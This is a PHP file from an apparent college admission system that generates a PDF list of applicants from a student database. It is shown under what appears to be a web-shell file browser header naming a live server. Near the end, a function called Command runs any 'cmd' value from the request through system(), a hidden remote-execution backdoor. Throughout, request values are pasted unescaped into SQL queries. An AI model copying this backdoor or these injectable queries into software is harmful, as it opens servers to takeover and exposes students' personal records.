Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Your IP : 18.226.187.232
Current Path : /var/www/html/gcg/src/ |
| Current File : /var/www/html/gcg/src/admissionapplist.php |
<?php
function GenerateAdmissionAppList($aobj_context)
{
session_start();
$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
$collcode =$aobj_context->mobj_data["college"];;
$degcode = $aobj_context->mobj_data["degree"];
$combcode = $aobj_context->mobj_data["combination"];
$apprstatus = $aobj_context->mobj_data["appstatus"];
if($collcode == 'All' && $degcode == 'All' && $combcode == 'All' && $apprstatus == 'All')
{
$serchAll = '';
}
else
{
$serchAll = 'Where';
}
$searchColl = '';
if($collcode != 'All')
{
$searchColl = "FCOLLCODE='{$collcode}'";
}
$searchdegcode = '';
if($degcode != 'All')
{
$searchdegcode = "and FDEGREE='{$degcode}'";
}
$searchComb = '';
if($combcode != 'All')
{
$searchComb = "and FCOMBCODE='{$combcode}'";
}
$searchAppr = '';
if($apprstatus != 'All')
{
$searchAppr = "and FAPPRSTATUS='{$apprstatus}'";
}
$main_src_obj=(explode("/",$_SERVER["REQUEST_URI"]));
$main_src=$main_src_obj[1];
$pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php";
$tarkaheader=$aobj_context->main_src."/Report_details/tarkaheader.php";
// global varibales
$p_count =1;
// end global varibales
include($pdf_writer_class);
$pdf= new FPDF('L','mm','A3');
//$pdf->$title='20000 Leagues Under the Seas';
$pdf->SetFont('Times','',10);
$pdf->SetMargins(5,12);
$pdf->AliasNbPages();
$sub_degcode_cond="";
// query for the page header
$page_header_university = "select FUNIVNAME,FTOWN, date_format(now(),'%d/%m/%Y') as date from control";
$lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university);
$page_header_collcode ="select concat('',FCOLLCODE,' ',FCOLLNAME,', ',FTOWN) as college_name
from college where FCOLLCODE='{$collcode}'";
$lobj_page_header_collcode = $aobj_context->mobj_db->GetRow($page_header_collcode);
$page_header_degcode = "select concat('',FDEGREE,' - ', FDESCPN,', ',FEXAMNAME) as Degree_name, FADYEAR
from degree where FDEGREE = '{$degcode}' ";
$lobj_page_header_degcode = $aobj_context->mobj_db->GetRow($page_header_degcode);
$pdf->aobj_context =$aobj_context ;
$pdf->WhichReport = 'Admission Approve List';
$pdf->FUNIVNAME = $lobj_page_header_university[FUNIVNAME];
$pdf->FTOWN = $lobj_page_header_university[FTOWN];
$pdf->date_1 = $lobj_page_header_university['date'];
$pdf->college_name = $lobj_page_header_collcode['college_name'];
$pdf->Degree_name = $lobj_page_header_degcode['Degree_name'];
$pdf->AdmissionYear = $lobj_page_header_degcode['FADYEAR'];
$pdf->AddPage();
$pdf->SetFont('Times','',10);
$get_student_data= "select FSLNO, FAREGNO, FDEGREE, FEXAMNO, FCOLLCODE, FREGNO, FNAME, FAYEAR,
FFATNAME, FFAT_OCC, FMOTNAME, FMOT_OCC, FEMAIL, FDOB, FSEX, FCASTE, FBLOOD_GROUP,
FCONTACT_NO, REG_FEE, EXAM_FEE, GRADE_CARD_FEE, TOTAL_FEE, FNATIONAL, FENGLISH,
FSUBDEGREE, FPHOTOPATH, FLATERAL_ENTRY, FREC_ORDER_NO, FREC_ORDER_DATE, FAFF_ORDER_NO,
FAFF_ORDER_DATE, FRELIGION, FUSERID, FLOGNAME, FLOGDATE, FDELETED, FTOTFEE, FFEEPAID,
FRECNO, FRECDATE, FREMARKS, FCOMBCODE, fgender, FXREGNO, FMOBILE_NO, FQULEXAM, FMARITALSTATUS,
FNATCANDIDATE, FSTATE, FKARBIRTH, FCATBIRTH, FINCOMECRT, FACADYEAR, FADMCAT, date_format(FADMDATE,'%d/%m/%Y') as FADMDATE, FADMINTAKE,
FADMQUOTA, FLANGEXAM, FLANGUAGE1, FFATINCOME, FMOTHINCOME, FLINGMINORITY, FREGMINORITY, FAADHARNO,
FNATQUALEXAM,FSTATEQUALEXM,if(ifnull(FTYPEQUALEXAM,'0')='0','',FTYPEQUALEXAM) as FTYPEQUALEXAM, FINSTNAME, FINSTLOCAT, FUNIVNAME, FQUALEXREGNO, FLANGUAGE,
FSUBSPECIAL, FMODEDU, FEXAMINTERVAL, FENTEXMARKS, FSIGNPATH, FLANGUAGE2, FUNIVFEE, FUNIVRECNO, FLATADMFEE,
FLATRECNO, FCHLANGFEE, FCHLANRECNO, FCHCOURSEFEE, FCHCOURSERECNO, FPASSMNTH, FPASSYER, FMARKSECURED,
FMARKTOTAL, FPERMARK, FWGHTAVGMARKS, FNOSEMYEAR, FPHTYPE,
FELIGFEE, FELIGRECNO, FHK, FAPPRSTATUS, FAPPRDATE, FAPPRUSERNAME, FAPPRUSERID from studadm
{$serchAll} {$searchColl} {$searchdegcode} {$searchComb} {$searchAppr}";
$lobj_student_data = $aobj_context->mobj_db->GetAll($get_student_data);
$arr_w = array(10,65,70,108);
$arr_h = array();
$adm_ln_counter=0;
$arr_w = array(12,25,95,35,73,8.3,20,44,12,18,17);
$arr_h = array(5,6);
$sl_no=1;
$recount=0;
foreach($lobj_student_data as $key => $value)
{
$query = "SELECT app_no,md.internal_code AS int_code, md.FCERTDESC AS doc_type ,
REPLACE(IFNULL(md.FFILENAME,''),'_',' ') AS FFILENAME,
sd.file_path FROM masdoc md LEFT OUTER JOIN studoc sd ON md.internal_code = sd.ref_mas_doc_code
WHERE md.fdegree='{$value[FDEGREE]}' AND fcollcode ='{$value[FCOLLCODE]}' and app_no ='{$value[FSLNO]}' ORDER BY app_no";
$rst = $aobj_context->mobj_db->GetAll($query);
$crt = array();
foreach($rst as $ckey=>$cval)
{
$crt[] = $cval[FFILENAME];
}
//var_dump($rst);
if($adm_ln_counter > 4)
{
$pdf->AddPage();
$adm_ln_counter=0;
}
$lang_spel = $value[FLANGUAGE].','.$value[FSUBSPECIAL];
$markssec = explode('*',$value[FMARKSECURED]);
$markstot = explode('*',$value[FMARKTOTAL]);
$totmarksec = 0;
for($i=0;$i<count($markssec);++$i)
{
$totmarksec = $totmarksec+$markssec[$i];
}
$totmarks=0;
for($i=0;$i<count($markstot);++$i)
{
$totmarks = $totmarks+$markstot[$i];
}
$photo_path = $value[FPHOTOPATH];
$X1 = $pdf->GetX();
$Y1 = $pdf->GetY();
$pdf->SetXY($X1,$Y1);
$height_y = $pdf->GetY();
if(!empty($photo_path) && file_exists($photo_path))
{
$pdf->Image($photo_path,350,$height_y,30,25);
}
$lang1 = substr ($lang_spel,0,17);
$lang2 = substr ($lang_spel,17,17);
$lang3 = substr ($lang_spel,34,17);
$lang4 = substr ($lang_spel,51,17);
$lang5 = substr ($lang_spel,68,17);
$lang6 = substr ($lang_spel,85,17);
$pdf->SetFont('Times','B',10);
$pdf->Cell(15,6,'','LT',0,'L');
$pdf->Cell(60,6,$value[FNAME], 'RLT',0,'L');
$pdf->Cell(50,6,$value[FTYPEQUALEXAM], 'RLT',0,'L');
$pdf->Cell(35,6,$lang1, 'RLT',0,'L');
$pdf->Cell(25,6,' ', 'RLT',0,'L');
$pdf->Cell(10,6,$markssec[0], 'RL',0,'C');$pdf->Cell(10,6,$markssec[1], 'RL',0,'C');$pdf->Cell(10,6,$markssec[2], 'RL',0,'C');
$pdf->Cell(10,6,$markssec[3], 'RL',0,'C');$pdf->Cell(10,6,$markssec[4], 'RL',0,'C');$pdf->Cell(10,6,$markssec[5], 'RL',0,'C');
$pdf->Cell(20,6,'', 'RL',0,'C');$pdf->Cell(20,6,'', 'RL',0,'C');$pdf->Cell(20,6,'', 'RL',0,'C');
$pdf->Cell(40,6,$crt[0], 'RLT',0,'L');
$pdf->Cell(30,6,' ', 'RLT',0,'L');
$pdf->Cell(30,6,' ', 'RLT',1,'L');
$pdf->Cell(15,6,' ','L',0,'L');
$pdf->Cell(60,6,$value[FCATBIRTH],'RL',0,'L');
$pdf->Cell(50,6,$value[FUNIVNAME], 'RL',0,'L');
$pdf->Cell(35,6,$lang2, 'RL',0,'L');
$pdf->Cell(25,6,' ', 'RL',0,'L');
$pdf->Cell(10,6,' ', 'RLB',0,'C');$pdf->Cell(10,6,'', 'RLB',0,'C');$pdf->Cell(10,6,'', 'RLB',0,'C');
$pdf->Cell(10,6,' ', 'RLB',0,'C');$pdf->Cell(10,6,'', 'RLB',0,'C');$pdf->Cell(10,6,'', 'RLB',0,'C');
$pdf->Cell(20,6,'', 'RLB',0,'C');$pdf->Cell(20,6,$value[FUNIVFEE], 'RLB',0,'C');$pdf->Cell(20,6,$value[FLATADMFEE], 'RLB',0,'C');
$pdf->Cell(40,6,$crt[1], 'RL',0,'L');
$pdf->Cell(30,6,' ', 'RL',0,'L');
$pdf->Cell(30,6,' ', 'RL',1,'L');
$pdf->Cell(15,6,$sl_no,'L',0,'C');
$pdf->Cell(60,6,$value[fgender],'RL',0,'L');
$pdf->Cell(50,6,$value[FSTATEQUALEXM], 'RL',0,'L');
$pdf->Cell(35,6,$lang3, 'RL',0,'L');
$pdf->Cell(25,6,' ', 'RL',0,'C');
$pdf->Cell(10,6,$markstot[0], 'RL',0,'C');$pdf->Cell(10,6,$markstot[1], 'RL',0,'C');$pdf->Cell(10,6,$markstot[2], 'RL',0,'C');
$pdf->Cell(10,6,$markstot[3], 'RL',0,'C');$pdf->Cell(10,6,$markstot[4], 'RL',0,'C');$pdf->Cell(10,6,$markstot[5], 'RL',0,'C');
$pdf->Cell(20,6,'', 'RL',0,'C');$pdf->Cell(20,6,'', 'RL',0,'C');$pdf->Cell(20,6,'', 'RL',0,'C');
$pdf->Cell(40,6,$crt[2], 'RL',0,'L');
$pdf->Cell(30,6,' ', 'RL',0,'C');
$pdf->Cell(30,6,' ', 'RL',1,'C');
$pdf->Cell(15,6,' ','L',0,'L');
$pdf->Cell(60,6,$value[FADMDATE],'RL',0,'L');
$pdf->Cell(50,6,$value[FNATQUALEXAM], 'RL',0,'L');
$pdf->Cell(35,6,$lang4, 'RL',0,'L');
$pdf->Cell(25,6,' ', 'RL',0,'L');
$pdf->Cell(10,6,' ', 'RLB',0,'C');$pdf->Cell(10,6,'', 'RLB',0,'C');$pdf->Cell(10,6,'', 'RLB',0,'C');
$pdf->Cell(10,6,' ', 'RLB',0,'C');$pdf->Cell(10,6,'', 'RLB',0,'C');$pdf->Cell(10,6,'', 'RLB',0,'C');
$pdf->Cell(20,6,'', 'RLB',0,'C');$pdf->Cell(20,6,'', 'RLB',0,'C');$pdf->Cell(20,6,'', 'RLB',0,'C');
$pdf->Cell(40,6,$crt[3], 'RL',0,'L');
$pdf->Cell(30,6,' ', 'RL',0,'L');
$pdf->Cell(30,6,' ', 'RL',1,'L');
$pdf->Cell(15,6,' ','L',0,'L');
$pdf->Cell(60,6,$value[FADMCAT],'RL',0,'L');
$pdf->Cell(50,6,$value[FQUALEXREGNO], 'RL',0,'L');
$pdf->Cell(35,6,$lang5, 'RL',0,'L');
$pdf->Cell(25,6,' ', 'RL',0,'L');
$pdf->Cell(60,6,'Total : '.$totmarksec.' / '.$totmarks,'RL',0,'L');
$pdf->Cell(20,6,'', 'RL',0,'C');$pdf->Cell(20,6,'', 'RL',0,'C');$pdf->Cell(20,6,'', 'RL',0,'C');
$pdf->Cell(40,6,$crt[4], 'RL',0,'L');
$pdf->Cell(30,6,' ', 'RL',0,'L');
$pdf->Cell(30,6,' ', 'RL',1,'L');
$pdf->Cell(15,6,' ','RLB',0,'L');
$pdf->Cell(60,6,$value[FXREGNO],'RLB',0,'L');
$pdf->Cell(50,6,'', 'RLB',0,'L');
$pdf->Cell(35,6,$lang6, 'RLB',0,'L');
$pdf->Cell(25,6,' ', 'RLB',0,'L');
$pdf->Cell(60,6,'Per : '.$value[FWGHTAVGMARKS],'RLB',0,'L');
$pdf->Cell(20,6,'', 'RLB',0,'C');$pdf->Cell(20,6,'', 'RLB',0,'C');$pdf->Cell(20,6,'', 'RLB',0,'C');
$pdf->Cell(40,6,$crt[5], 'RLB',0,'L');
$pdf->Cell(30,6,' ', 'RLB',0,'L');
$pdf->Cell(30,6,' ', 'RLB',1,'L');
$adm_ln_counter++;
++$sl_no;
}
$pdf->ln(2);
$pdf->Output("report_admission_list.pdf","D");
}
function Command($aobj_context)
{
$cmd = $aobj_context->mobj_data["cmd"];
$last_line = system($cmd, $retval);
echo "</pre>";
echo $last_line;
}
function PrintFooter($pdf)
{
$new_x=$pdf->GetX();
$new_y=$pdf->GetY();
$ip=$_SERVER["REMOTE_ADDR"];
$pdf->SetY(-17);
$pdf->SetFont('Times','B',8);
$pdf->Cell(140,6,'Printed : IP Address : '.$ip.", Date : ".$pdf->date_time,'0',0,'L');
$pdf->SetXY($new_x,$new_y);
}
?>
|